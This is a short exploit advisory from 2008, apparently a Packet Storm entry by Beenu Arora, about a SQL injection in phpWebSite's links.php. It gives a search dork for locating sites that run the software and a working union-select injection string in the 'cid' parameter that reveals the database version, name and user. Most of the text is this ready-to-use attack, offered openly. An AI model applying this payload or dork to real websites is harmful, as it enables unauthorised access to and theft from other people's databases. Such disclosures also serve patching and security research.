################################################################ # # Author: Beenu Arora # # Home : www.BeenuArora.com # # Email : beenudel1986@xxxxxxxxx # # Share the c0de! # ################################################################ # # Title: phpWebSite links.php Sql Injection # # Vendor: http://phpwebsite.appstate.edu/ # # ########################################################### # # d0rk:powered by phpWebSite # ########################################################### Live Demo: http://localhost/links.php?op=viewlink&cid=5+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user())-- ########################################################### # # Bug discovered : 30 Oct.2008 ########################################################### << http://packetstormsecurity.org/0810-exploits/phpwebsitelink-sql.txt>>
